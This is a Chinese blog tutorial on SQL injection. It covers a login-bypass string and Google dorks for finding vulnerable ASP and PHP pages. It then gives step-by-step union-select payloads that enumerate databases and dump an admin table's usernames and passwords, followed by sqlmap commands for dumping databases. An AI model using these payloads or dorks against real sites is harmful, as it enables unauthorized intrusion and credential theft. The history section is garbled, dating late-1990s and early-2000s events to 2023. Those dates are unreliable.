網路安全知識之SQL注入

2021-08-11 18:17:04 字數 3727 閱讀 1178

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將(惡意)的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入(惡意)sql語句得到乙個存在安全漏洞的**上的資料庫,而不是按照設計者意圖去執行sql語句。

2023年12月, rain forest puppy(rfp) 在phrack 54上發表文章「nt web technology vulnerabilities」,首次提到sql注入;

2023年2月,allaire發出警告 「multiple sql statements in dynamic queries」;

2023年5月, rfp與matthew astley發出警告 「nt odbc remote compromise」;

2023年2月,rfp發表文章 「how i hacked packetstorm – a look at hacking  wwthreads via sql」,披露如何利用sql注入攻擊滲透packetstorm**;

2023年10月,chip andrews在

sqlsecurity.com 上發表「sql injection faq 」,首次公開使用「sql注入」這個術語 ;

2023年1月,chris anley發表**「advanced sql injection in sql server」,首次深度**該類攻擊。

2023年6月,chris anley發表** 「(more) advanced sql」 ,補充同年1月發表的**缺少的細節。

2023年blackhat會議上, 

0x90.org發布了sql注入工具sqeal ( absinthe的前身)。

使用者名稱:anything

密碼:『 or 1=1 --

原理:如果直接拼接sql走庫驗證的話,sql如下

select * from table where name='xx' and password='yy' 

應用如上賬號密碼後,sql如下

select * from table where name='sql inject' and password='' or 1=1–'

下面來舉個栗子

尋找注入點:

網域名稱後直接拼接sql注入:

inurl:asp?***= 、

inurl:.php?***=

post注入:

inurl:managelogin.asp 、

inurl:managelogin.php

以網域名稱後直接注入為例,具體過程如下:

第一步,進行注入測試。 最簡單的方法就是 在鏈結後邊加上 and 1=1 和 and 1=2 如果在and 1=2 顯示頁面不正常,而在and 1=2下顯示正常,則證明 該鏈結存在注入點。

其原理是:一般查詢的語句為

select * from table where id=1

//按照這樣測試就成為了

select * from table where id=1 and 1=2

第二步,在找到注入點後, 猜解當前網頁的字段數

order by 6

order by 7

order by 6顯示正常 ;order 7 顯示不正常。說明欄位數為6

第三步,爆出當前鏈結的顯示位

//對應的數字就是顯示的位置,顯示位為 2和4

and 1=2 union select 1,2,3,4,5,6

第四步,爆出資料庫的基本資訊。

and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6

使用者:people@localhost 資料庫名:people 版本:5.0.20a-log

爆出所有的資料庫:

and 1=2 union select 1,2,3,group_concat(distinct table_schema),5,6 from information_schema.columns

爆出資料庫名:information_schema,people,test

information_schema資料庫是在mysql的版本5.0之後產生的,乙個虛擬資料庫,物理上並不存在。nformation_schema資料庫類似與「資料字典」,提供了訪問資料庫元資料的方式,即資料的資料。比如資料庫名或表名,列型別,訪問許可權(更加細化的訪問方式)。information_schema是乙個由資料庫的元資料組成的資料庫。裡面儲存的是mysql的資料庫基本資訊。並隨時改變。用於檢視資訊以及系統決策時作為重要的資訊提供者。

mysql的版本5.0以上版本,我們借助information_schema資料庫,來獲取其他資料庫的資訊。用到了group_concat()函式,distinct引數起到了去掉重複顯示的作用。

第五部,根據資料庫表進行爆出所有資料庫的表名:

and 1=2 union select 1,2,3,group_concat(distinct table_name),5,6 from information_schema.tables where table_schema=database()

admin1,answer,check,class,news,system,zhaoping

該頁面為news.php 其資料庫表肯定就是news表,

第六步,爆出admin1表裡字段,再爆出的使用者資訊,登入後台

把admin1進行hex(16進製制)的結果為:0x61646d696e31

爆出所有的字段:

and 1=2 union select 1,2,3,group_concat(distinct column_name),5,6 from information_schema.columns where table_name=0x61646d696e31

欄位為:id,admin,password,rank

再爆出 admin和password裡的值:

and 1=2 union select 1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6 from admin1

sqlmap 是乙個自動sql 射入工具。它是可勝任執行乙個廣泛的資料庫管理系統後端指印, 檢索遙遠的dbms 資料庫, usernames, 桌, 專欄, 列舉整個dbms, 讀了系統檔案和利用導致sql 射入弱點的網應用程式設計的安全漏洞。 

./sqlmap.py -u 「注入位址」 -v 1 –dbs   // 列舉資料庫

./sqlmap.py -u 「注入位址」 -v 1 –current-db   // 當前資料庫

./sqlmap.py -u 「注入位址」 -v 1 –users    // 列資料庫使用者

./sqlmap.py -u 「注入位址」 -v 1 –current-user  // 當前使用者

./sqlmap.py -u 「注入位址」 -v 1 –tables -d 「資料庫」   // 列舉資料庫的表名

./sqlmap.py -u 「注入位址」 -v 1 –columns -t 「表名」 -d 「資料庫」   // 獲取表的列名

./sqlmap.py -u 「注入位址」 -v 1 –dump -c 「字段,字段」 -t 「表名」 -d 「資料庫」   // 獲取表中的資料,包含列

已經開始拖庫了,sqlmap是非常人性化的,它會將獲取的資料儲存sqlmap/output/中

sql注入是需要緣分的,而程式設計師的疏忽就是月老的紅線

網路安全 sql 注入

未經允許萬不可隨意測試 請在法律的允許下使用,謹記謹記!網路安全 sql 注入 位址列輸入在資料庫可以執行的語句,並進入資料庫查到資料 例 ww.com?id 1 and 1 1 轉 資料庫sql 語句 select from 表名 where id 1 and 1 1 ww.com?id 1234...

網路安全部落格3 sql注入

1.準備 工具 sqlmap 需在python環境中執行 環境 windows python 安裝sqlmap 官網 選擇最近版本安裝即可 安裝sqlmap 官網 選擇最近版本安裝即可 設定環境變數 為了使用便利,將sqlmap的安裝目錄新增到系統環境變數path中 之後在cmd中就可以直接使用sq...

網路安全測試之寫在SQL注入後的語句

本文講述的是寫在sql注入後的語句,旨在服務社會,供安全研究人員學習使用,請勿用於其他非法用途,違者後果自負。1.查詢語句後只能直接呼叫函式,不能直接呼叫儲存過程,例如 select function from dual可以,select procedure from dual不行 2.查詢語句中無...